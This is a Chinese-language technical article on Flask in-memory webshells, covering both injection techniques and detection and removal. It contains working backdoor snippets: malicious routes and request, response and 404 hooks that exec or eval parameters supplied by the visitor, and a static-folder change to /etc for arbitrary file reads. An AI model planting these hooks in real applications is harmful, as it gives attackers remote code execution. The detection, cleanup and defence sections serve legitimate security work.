Flask内存马各种姿势与查杀
字数 1012 2025-08-30 06:50:11
Flask内存马攻击与防御技术详解
一、Flask内存马攻击技术
1.1 内存马基本原理
Flask内存马是通过动态代码注入的方式存在于内存中,利用Flask应用的生命周期和钩子函数来隐藏自身行为的恶意代码。与传统的文件型Webshell不同,内存马不依赖磁盘文件,更难被传统安全防护手段检测。
1.2 高版本Flask内存马注入技术
1.2.1 通过app.view_functions注入
在高版本Flask中,add_url_rule方法被@setupmethod装饰器保护,该装饰器会先调用app._check_setup_finished。因此需要:
app._got_first_request = False # 解除setup限制
然后可以通过以下方式添加恶意路由:
app.add_url_rule('/malicious', 'malicious_endpoint', malicious_func)
或者直接操作view_functions字典:
app.view_functions['malicious_endpoint'] = malicious_func
1.2.2 通过请求钩子注入
Flask提供了多种请求钩子,可用于注入恶意代码:
-
before_request:
@app.before_request def malicious_before(): if request.path == '/trigger': exec(request.args.get('cmd')) -
after_request:
@app.after_request def malicious_after(response): if 'malicious' in request.cookies: response.set_data('Hacked') return response -
error_handler:
@app.errorhandler(404) def malicious_error(e): if request.args.get('cmd'): return str(eval(request.args.get('cmd'))) return e
1.2.3 其他注入点
- teardown_request: 虽然无回显,但可执行恶意操作
- 重写核心函数: 重写每次请求都会执行的函数
- 修改Response类: 更改响应行为
1.3 高级技巧
-
劫持静态文件路由:
app.static_folder = '/etc' # 可读取任意文件 -
使用_method_route:
@app.route("/malicious", methods=['PATCH', 'PUT']) def malicious_route(): pass
二、Flask内存马查杀技术
2.1 查杀工具准备
推荐使用pyrasite工具进行运行时分析:
git clone https://github.com/pyrasite/pyrasite
cd pyrasite
pip install .
2.2 查杀步骤
2.2.1 定位Flask进程
ps aux | grep python
# 或
ps aux | grep app.py
假设找到的PID为8。
2.2.2 注入交互式Shell
pyrasite-shell 8
2.2.3 分析Flask应用对象
在注入的Shell中:
# 查找应用对象
app = [v for v in globals().values() if isinstance(v, Flask)][0]
# 检查路由
print(app.url_map)
# 检查视图函数
print(app.view_functions)
# 检查before_request钩子
print(app.before_request_funcs)
# 检查after_request钩子
print(app.after_request_funcs)
# 检查错误处理器
print(app.error_handler_spec)
2.2.4 深度分析可疑函数
import dis
# 反汇编可疑函数
dis.dis(app.view_functions['malicious_endpoint'])
# 检查函数源码
import inspect
print(inspect.getsource(app.view_functions['malicious_endpoint']))
2.3 清除恶意代码
# 删除恶意路由
del app.view_functions['malicious_endpoint']
# 清除before_request钩子
app.before_request_funcs = {}
# 清除after_request钩子
app.after_request_funcs = {}
# 重置错误处理器
app.error_handler_spec = {}
三、防御建议
- 代码审计: 定期检查Flask应用代码,特别是动态路由和钩子函数
- 进程监控: 监控Python进程的异常行为
- 最小权限: Flask应用以最小必要权限运行
- 依赖安全: 保持Flask及其依赖库的最新版本
- 运行时保护: 使用RASP(运行时应用自我保护)技术
- 日志审计: 详细记录所有请求和异常
四、实用工具
-
PyMemShell: Python内存马管理工具
git clone https://github.com/orzchen/PyMemShell -
Flask-Unsign: 检测Flask会话伪造
-
Werkzeug Debugger Pin: 确保调试器安全
通过以上技术和方法,可以有效检测和防御Flask内存马攻击,保障Web应用安全。